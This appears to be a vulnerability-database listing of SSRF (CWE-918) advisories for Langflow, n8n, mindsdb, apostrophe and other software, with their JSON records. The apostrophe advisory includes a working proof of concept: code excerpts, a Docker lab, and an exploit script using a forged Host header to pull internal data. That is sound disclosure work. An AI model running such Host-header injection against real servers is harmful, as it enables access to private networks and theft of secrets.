CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6152 vulnerabilities reference this CWE, most recent first.
GHSA-33XG-QW74-FHR3
Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31IBM Langflow OSS 1.0.0 through 1.9.3 contains a Server-Side Request Forgery (SSRF) protection bypass vulnerability in the API Request component. An authenticated attacker with low-level privileges (flow author role) can bypass SSRF protections by enabling the follow_redirects parameter and supplying a public URL that redirects to internal/localhost addresses. The vulnerability exists because the application validates only the initial URL but does not re-validate redirect destinations. This allows attackers to access internal HTTP services, localhost endpoints, cloud metadata services, and private network resources that should be unreachable when SSRF protection is enabled. Successful exploitation can lead to disclosure of sensitive information including credentials, tokens, internal API responses, and administrative panel data.
{
"affected": [],
"aliases": [
"CVE-2026-10129"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T20:17:26Z",
"severity": "HIGH"
},
"details": "IBM Langflow OSS 1.0.0 through 1.9.3 contains a Server-Side Request Forgery (SSRF) protection bypass vulnerability in the API Request component. An authenticated attacker with low-level privileges (flow author role) can bypass SSRF protections by enabling the follow_redirects parameter and supplying a public URL that redirects to internal/localhost addresses. The vulnerability exists because the application validates only the initial URL but does not re-validate redirect destinations. This allows attackers to access internal HTTP services, localhost endpoints, cloud metadata services, and private network resources that should be unreachable when SSRF protection is enabled. Successful exploitation can lead to disclosure of sensitive information including credentials, tokens, internal API responses, and administrative panel data.",
"id": "GHSA-33xg-qw74-fhr3",
"modified": "2026-06-30T21:31:43Z",
"published": "2026-06-30T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10129"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7277561"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-346C-R244-6H29
Vulnerability from github – Published: 2026-04-03 18:31 – Updated: 2026-04-03 18:31A security vulnerability has been detected in mixelpixx Google-Research-MCP 1e062d7bd887bfe5f6e582b6cc288bb897b35cf2/ca613b736ab787bc926932f59cddc69457185a83. This issue affects the function extractContent of the file src/services/content-extractor.service.ts of the component Model Context Protocol Handler. The manipulation of the argument URL leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-5470"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-03T16:16:43Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in mixelpixx Google-Research-MCP 1e062d7bd887bfe5f6e582b6cc288bb897b35cf2/ca613b736ab787bc926932f59cddc69457185a83. This issue affects the function extractContent of the file src/services/content-extractor.service.ts of the component Model Context Protocol Handler. The manipulation of the argument URL leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-346c-r244-6h29",
"modified": "2026-04-03T18:31:23Z",
"published": "2026-04-03T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5470"
},
{
"type": "WEB",
"url": "https://github.com/wing3e/public_exp/issues/21"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/781778"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/355074"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/355074/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-34CR-C6HF-4XGC
Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-10 18:32A flaw was found in the file_type content detector of guardrails-detectors. This vulnerability allows a remote attacker to supply an arbitrary XML Schema Definition (XSD) string, which is processed without proper restrictions. This can lead to server-side requests to arbitrary URLs or local file reads, potentially resulting in sensitive information disclosure, such as cloud provider credentials or access to internal network services.
{
"affected": [],
"aliases": [
"CVE-2026-15143"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T16:16:25Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in the file_type content detector of guardrails-detectors. This vulnerability allows a remote attacker to supply an arbitrary XML Schema Definition (XSD) string, which is processed without proper restrictions. This can lead to server-side requests to arbitrary URLs or local file reads, potentially resulting in sensitive information disclosure, such as cloud provider credentials or access to internal network services.",
"id": "GHSA-34cr-c6hf-4xgc",
"modified": "2026-07-10T18:32:19Z",
"published": "2026-07-10T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15143"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-15143"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2498165"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-34FF-336R-5Q23
Vulnerability from github – Published: 2026-09-10 15:12 – Updated: 2026-09-10 15:12Impact
The OpenAI Chat Model node checked a custom base URL against the credential's allowed-domains configuration before sending a request, but the model-search dropdown did not. A request setting options.baseURL on that path reached an arbitrary host with the credential attached, so the domain restriction an administrator configured did not hold for every route the node offered. The patch routes every OpenAI call site, including model listing, through one shared allowed-domains check.
Patches
The issue has been fixed in n8n versions 1.123.76, 2.37.7, and 2.38.2. Users should upgrade to one of these versions or later to remediate the vulnerability.
Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Restrict n8n instance access to fully trusted users only.
- Audit all domain-restricted openAiApi credentials and revoke use-only shares granted to untrusted users.
- Rotate any openAiApi credential secrets that may have been exposed and review downstream OpenAI account activity for unexpected usage.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.123.76"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "2.38.0"
},
{
"fixed": "2.38.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.37.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86082"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T15:12:14Z",
"nvd_published_at": "2026-09-08T22:19:17Z",
"severity": "HIGH"
},
"details": "## Impact\n\nThe OpenAI Chat Model node checked a custom base URL against the credential\u0027s allowed-domains configuration before sending a request, but the model-search dropdown did not. A request setting `options.baseURL` on that path reached an arbitrary host with the credential attached, so the domain restriction an administrator configured did not hold for every route the node offered. The patch routes every OpenAI call site, including model listing, through one shared allowed-domains check.\n\n## Patches\n\nThe issue has been fixed in n8n versions 1.123.76, 2.37.7, and 2.38.2. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Restrict n8n instance access to fully trusted users only.\n- Audit all domain-restricted `openAiApi` credentials and revoke use-only shares granted to untrusted users.\n- Rotate any `openAiApi` credential secrets that may have been exposed and review downstream OpenAI account activity for unexpected usage.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
"id": "GHSA-34ff-336r-5q23",
"modified": "2026-09-10T15:12:14Z",
"published": "2026-09-10T15:12:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-34ff-336r-5q23"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86082"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@1.123.76"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.37.7"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.38.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "n8n: Domain-Restriction Bypass via Unguarded Model-Search Endpoint in OpenAI Chat Model Node"
}
GHSA-34MR-6Q8X-G9R6
Vulnerability from github – Published: 2023-12-12 00:48 – Updated: 2024-11-22 18:14Impact
The put method in mindsdb/mindsdb/api/http/namespaces/file.py does not validate the user-controlled URL in the source variable and uses it to create arbitrary requests on line 115, which allows Server-side request forgery (SSRF). This issue may lead to Information Disclosure. The SSRF allows for forging arbitrary network requests from the MindsDB server. It can be used to scan nodes in internal networks for open ports that may not be accessible externally, as well as scan for existing files on the internal network. It allows for retrieving files with csv, xls, xlsx, json or parquet extensions, which will be viewable via MindsDB GUI. For any other existing files, it is a blind SSRF.
Patches
Use mindsdb staging branch or v23.11.4.1
References
- GHSL-2023-182 SSRF prevention cheatsheet.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mindsdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "23.11.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49795"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-12T00:48:48Z",
"nvd_published_at": "2023-12-11T19:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe put method in `mindsdb/mindsdb/api/http/namespaces/file.py` does not validate the user-controlled URL in the source variable and uses it to create arbitrary requests on line 115, which allows Server-side request forgery (SSRF). This issue may lead to Information Disclosure. The SSRF allows for forging arbitrary network requests from the MindsDB server. It can be used to scan nodes in internal networks for open ports that may not be accessible externally, as well as scan for existing files on the internal network. It allows for retrieving files with csv, xls, xlsx, json or parquet extensions, which will be viewable via MindsDB GUI. For any other existing files, it is a blind SSRF.\n \n### Patches\n\nUse mindsdb staging branch or v23.11.4.1\n\n### References\n\n* GHSL-2023-182\n[SSRF prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html).\n",
"id": "GHSA-34mr-6q8x-g9r6",
"modified": "2024-11-22T18:14:00Z",
"published": "2023-12-12T00:48:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-34mr-6q8x-g9r6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49795"
},
{
"type": "WEB",
"url": "https://github.com/mindsdb/mindsdb/commit/8d13c9c28ebcf3b36509eb679378004d4648d8fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/mindsdb/mindsdb"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2023-277.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in mindsdb"
}
GHSA-34P2-9566-JFHX
Vulnerability from github – Published: 2022-08-29 20:06 – Updated: 2022-09-02 00:01The Mailchimp for WooCommerce WordPress plugin before 2.7.2 has an AJAX action that allows high privilege users to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example
{
"affected": [],
"aliases": [
"CVE-2022-2556"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-29T18:15:00Z",
"severity": "LOW"
},
"details": "The Mailchimp for WooCommerce WordPress plugin before 2.7.2 has an AJAX action that allows high privilege users to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example",
"id": "GHSA-34p2-9566-jfhx",
"modified": "2022-09-02T00:01:14Z",
"published": "2022-08-29T20:06:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2556"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/f2a59eaa-6b44-4098-912f-823289cf33b0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-34PJ-2622-JVXQ
Vulnerability from github – Published: 2026-07-31 21:51 – Updated: 2026-07-31 21:51Summary
When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw Host HTTP request header:
proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`
That URL is then fetch'ed and the response body + headers are streamed
straight back to the requester. Because Host is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on apostrophe@4.30.0
(latest); no fixed release exists.
- Affected:
apostrophe <= 4.30.0when@apostrophecms/fileis configured withprettyUrls: trueand uploadfs is local (the default; S3/CDN deployments produce an absoluteuglyUrland are not affected).
Details
modules/@apostrophecms/file/index.js (excerpt; the public GET route
registered when prettyUrls: true):
if (!self.options.prettyUrls) return;
return {
get: {
async [`${self.options.prettyUrlDir}/*`](req, res) {
const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
if (!matches) return res.status(400).send('invalid');
const [ , slug ] = matches;
if (slug.includes('..') || slug.includes('/')) {
return res.status(403).send('forbidden');
}
const file = await self.find(req, {
slug: `${self.options.slugPrefix}${slug}`
}).toObject();
if (!file) return res.status(404).send('not found');
const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
const proxyUrl = uglyUrl.startsWith('/')
? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink
: uglyUrl;
return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
}
}
};
lib/stream-proxy.js (excerpt):
module.exports = async function(req, url, { error }) {
const res = req.res;
if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
let response;
try { response = await fetch(url); } // <-- attacker-steered fetch
catch (e) { return send502(e); }
for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
const v = response.headers.get(header);
if (v != null) res.header(header, v);
}
res.status(response.status);
response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};
req.get('host') returns the unvalidated Host HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed proxyUrl against an allowlist. The upstream's body and
content-type are forwarded verbatim — so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).
Prerequisites are minimal: prettyUrls: true (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).
Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
@apostrophecms/file, via the Host header.
PoC
Three services on an isolated Docker network: mongo, internal (returns a
fake secret, never exposed to the host), apos:3000 (the only port the
host can reach). The host attacker proves it cannot reach internal
directly, then exfiltrates internal's response via one crafted request to
apos.
app.js (normal apostrophe site, documented option only):
require('apostrophe')({
shortName: 'apos-ssrf-poc',
autoBuild: false,
modules: {
'@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
'@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
'@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
'@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI)
}
});
docker-compose.yml:
services:
mongo: { image: mongo:7, networks: [poc] }
internal:
image: python:3.12-slim
command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
networks: [poc]
apos:
build: .
environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
depends_on: [mongo, internal]
ports: ["3000:3000"]
networks: [poc]
networks: { poc: { driver: bridge } }
exploit.sh (unauthenticated attacker on the host):
# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"
# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
Build & run:
docker compose build && docker compose up -d && ./exploit.sh
Observed output (apostrophe@4.30.0, clean stack):
[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL
[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2
RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).
The internal service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.
Impact
Unauthenticated remote SSRF, but the path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:
- Cloud metadata is not reachable — AWS IMDS
(
/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure (/metadata/...) all live at fixed paths that don't overlap with/uploads/attachments/.... Same for Redis admin, Elasticsearch, and most internal API surfaces. - Cross-instance data exfiltration is also ruled out. For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case.
What remains is blind-SSRF residual:
- Network-topology mapping via response-code or response-time differences across internal hosts.
- Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies.
- Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker.
The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation.
Recommended fix
Stop deriving the upstream URL from the request Host header. Two
complementary changes:
- In
modules/@apostrophecms/file/index.js(the lines that buildproxyUrl), use a server-trusted absolute base URL (e.g.,apos.baseUrlor the configured site URL) instead ofreq.get('host'):
js
const proxyUrl = uglyUrl.startsWith('/')
? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`
: uglyUrl;
- In
lib/stream-proxy.js, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before callingfetch. Defence in depth: future callers ofstreamProxycannot accidentally reintroduce the gap.
A regression test that sets Host: 169.254.169.254 (or any non-configured
host) on /files/<slug>.<ext> and asserts the upstream fetch is not
issued / the response is a 4xx would lock this down.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.30.0"
},
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53607"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T21:51:41Z",
"nvd_published_at": "2026-06-12T21:16:24Z",
"severity": "LOW"
},
"details": "### Summary\n\nWhen `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO\nfeature for serving uploaded files at clean URLs), the public pretty-URL\nhandler builds the upstream URL using the raw `Host` HTTP request header:\n\n```js\nproxyUrl = `${req.protocol}://${req.get(\u0027host\u0027)}${uglyUrl}`\n```\n\nThat URL is then `fetch`\u0027ed and the response body + headers are streamed\nstraight back to the requester. Because `Host` is fully attacker-controlled,\nan **unauthenticated remote** attacker can pivot the apostrophe process to\nissue outbound HTTP requests against any host it can reach on the private\nnetwork. The path component is constrained to\n`/uploads/attachments/\u003ccuid\u003e-\u003cslug\u003e.\u003cext\u003e` (built from a local-DB lookup),\nwhich keeps the impact narrow: cross-instance data exfiltration is\nneutralised by cuid uniqueness, but blind-SSRF residuals remain\n(network-topology mapping via response-code / timing differences and\nverbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0`\n(latest); no fixed release exists.\n\n- **Affected:** `apostrophe \u003c= 4.30.0` when `@apostrophecms/file` is\n configured with `prettyUrls: true` and uploadfs is **local** (the default;\n S3/CDN deployments produce an absolute `uglyUrl` and are not affected).\n\n### Details\n\n`modules/@apostrophecms/file/index.js` (excerpt; the public GET route\nregistered when `prettyUrls: true`):\n\n```js\nif (!self.options.prettyUrls) return;\nreturn {\n get: {\n async [`${self.options.prettyUrlDir}/*`](req, res) {\n const matches = (req.params[0] || \u0027\u0027).match(/^([^.]+)\\.\\w+$/);\n if (!matches) return res.status(400).send(\u0027invalid\u0027);\n const [ , slug ] = matches;\n if (slug.includes(\u0027..\u0027) || slug.includes(\u0027/\u0027)) {\n return res.status(403).send(\u0027forbidden\u0027);\n }\n const file = await self.find(req, {\n slug: `${self.options.slugPrefix}${slug}`\n }).toObject();\n if (!file) return res.status(404).send(\u0027not found\u0027);\n\n const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });\n const proxyUrl = uglyUrl.startsWith(\u0027/\u0027)\n ? `${req.protocol}://${req.get(\u0027host\u0027)}${uglyUrl}` // \u003c-- sink\n : uglyUrl;\n return await streamProxy(req, proxyUrl, { error: self.apos.util.error });\n }\n }\n};\n```\n\n`lib/stream-proxy.js` (excerpt):\n\n```js\nmodule.exports = async function(req, url, { error }) {\n const res = req.res;\n if (url.startsWith(\u0027/\u0027)) url = `${req.baseUrl}${url}`;\n let response;\n try { response = await fetch(url); } // \u003c-- attacker-steered fetch\n catch (e) { return send502(e); }\n for (const header of [\u0027content-type\u0027,\u0027etag\u0027,\u0027last-modified\u0027,\u0027content-disposition\u0027,\u0027cache-control\u0027]) {\n const v = response.headers.get(header);\n if (v != null) res.header(header, v);\n }\n res.status(response.status);\n response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));\n};\n```\n\n`req.get(\u0027host\u0027)` returns the unvalidated `Host` HTTP header from the request.\nExpress does not validate or restrict it, and apostrophe does not check the\nconstructed `proxyUrl` against an allowlist. The upstream\u0027s body and\ncontent-type are forwarded verbatim \u2014 so any response the targeted host does\nreturn at the constrained path will reach the attacker. In practice the path\nconstraint (`/uploads/attachments/\u003ccuid\u003e-\u003cslug\u003e.\u003cext\u003e`) and cuid uniqueness\nmean meaningful body exfiltration only occurs against verbose-404 / banner-\nleaky proxies; against most internal services this degenerates to blind\nSSRF (response-code + timing side channels).\n\nPrerequisites are minimal: `prettyUrls: true` (a documented production SEO\noption) + at least one file uploaded with a known slug. Slugs are publicly\nenumerable in normal CMS use (file URLs appear in page content).\n\n**Distinct from the only published apostrophe SSRF advisory,\nGHSA-pr28-mf3q-qpg6** (\"Authenticated SSRF in rich-text widget import via\n@apostrophecms/area validate-widget\"), which is authenticated and lives in a\ncompletely different module/route. This finding is unauthenticated, in\n`@apostrophecms/file`, via the `Host` header.\n\n### PoC\n\nThree services on an isolated Docker network: `mongo`, `internal` (returns a\nfake secret, **never exposed to the host**), `apos:3000` (the only port the\nhost can reach). The host attacker proves it cannot reach `internal`\ndirectly, then exfiltrates `internal`\u0027s response via one crafted request to\n`apos`.\n\n`app.js` (normal apostrophe site, documented option only):\n\n```js\nrequire(\u0027apostrophe\u0027)({\n shortName: \u0027apos-ssrf-poc\u0027,\n autoBuild: false,\n modules: {\n \u0027@apostrophecms/express\u0027: { options: { session: { secret: \u0027x\u0027 }, port: 3000 } },\n \u0027@apostrophecms/db\u0027: { options: { uri: process.env.APOS_MONGODB_URI } },\n \u0027@apostrophecms/asset\u0027: { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },\n \u0027@apostrophecms/file\u0027: { options: { prettyUrls: true, prettyUrlDir: \u0027/files\u0027 } },\n \u0027poc-seed\u0027: {} // seeds one file doc on boot (= what an admin does via the upload UI)\n }\n});\n```\n\n`docker-compose.yml`:\n\n```yaml\nservices:\n mongo: { image: mongo:7, networks: [poc] }\n internal:\n image: python:3.12-slim\n command: [\"python\",\"-c\",\"import http.server,socketserver\\nclass H(http.server.BaseHTTPRequestHandler):\\n def do_GET(self):\\n self.send_response(200);self.send_header(\u0027content-type\u0027,\u0027text/plain\u0027);self.end_headers()\\n self.wfile.write(b\u0027INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\\\n\u0027)\\nsocketserver.TCPServer((\u00270.0.0.0\u0027,80),H).serve_forever()\"]\n networks: [poc]\n apos:\n build: .\n environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }\n depends_on: [mongo, internal]\n ports: [\"3000:3000\"]\n networks: [poc]\nnetworks: { poc: { driver: bridge } }\n```\n\n`exploit.sh` (unauthenticated attacker on the host):\n\n```sh\n# 1. Prove the internal target is not reachable from the host\ncurl --max-time 2 -s http://internal/ || echo \"(unreachable, as expected)\"\n\n# 2. ATTACK: same pretty URL, attacker-supplied Host header\ncurl -sS -H \u0027Host: internal\u0027 \"http://127.0.0.1:3000/files/poc.pdf\"\n```\n\nBuild \u0026 run:\n\n```sh\ndocker compose build \u0026\u0026 docker compose up -d \u0026\u0026 ./exploit.sh\n```\n\nObserved output (`apostrophe@4.30.0`, clean stack):\n\n```\n[probe] confirm the internal target is NOT reachable from the host:\ncurl: (6) Could not resolve host: internal\n[normal] same pretty URL, normal Host header (Host: apos):\nHTTP=502 bytes=49 content-type=text/html; charset=utf-8\nupstream media error fetching data for pretty URL\n\n[ATTACK] pretty URL with attacker-supplied Host header pointing at the private \u0027internal\u0027 service:\nHTTP=200 bytes=64 content-type=text/plain; charset=utf-8\n[ATTACK] response body received by the attacker:\nINTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\n\nRESULT: VULNERABLE \u2014 unauthenticated attacker exfiltrated private internal data via apostrophe\u0027s @apostrophecms/file pretty-URL SSRF (Host-header injection).\n```\n\nThe `internal` service is unreachable from the host, but apostrophe fetches\nit on the attacker\u0027s behalf and pipes the response body \u2014 secret included \u2014\nstraight back over the same HTTP response.\n\n### Impact\n\nUnauthenticated remote SSRF, but the path component is constrained to\n`/uploads/attachments/\u003ccuid\u003e-\u003cslug\u003e.\u003cext\u003e` (built from a local-DB lookup\non a slug the attacker already had to know). That constraint plus cuid\nuniqueness rules out the cases I originally listed:\n\n- **Cloud metadata is _not_ reachable** \u2014 AWS IMDS\n (`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure\n (`/metadata/...`) all live at fixed paths that don\u0027t overlap with\n `/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and\n most internal API surfaces.\n- **Cross-instance data exfiltration is also ruled out.** For an\n internal target (another apos instance, MinIO bucket, etc.) to serve\n a body at this path, it would need the exact local cuid + slug, which\n realistically only happens when the target restored / shares the\n public site\u0027s data \u2014 in which case the same content is reachable via\n the front door anyway. Apostrophe also won\u0027t construct a pretty URL\n for archived / restricted media, closing the older-snapshot edge case.\n\nWhat remains is blind-SSRF residual:\n\n- Network-topology mapping via response-code or response-time\n differences across internal hosts.\n- Banner / version disclosure from verbose reverse-proxy or WAF 404\n bodies.\n- Bypassing network egress controls \u2014 outbound requests originate from\n the apostrophe server rather than the 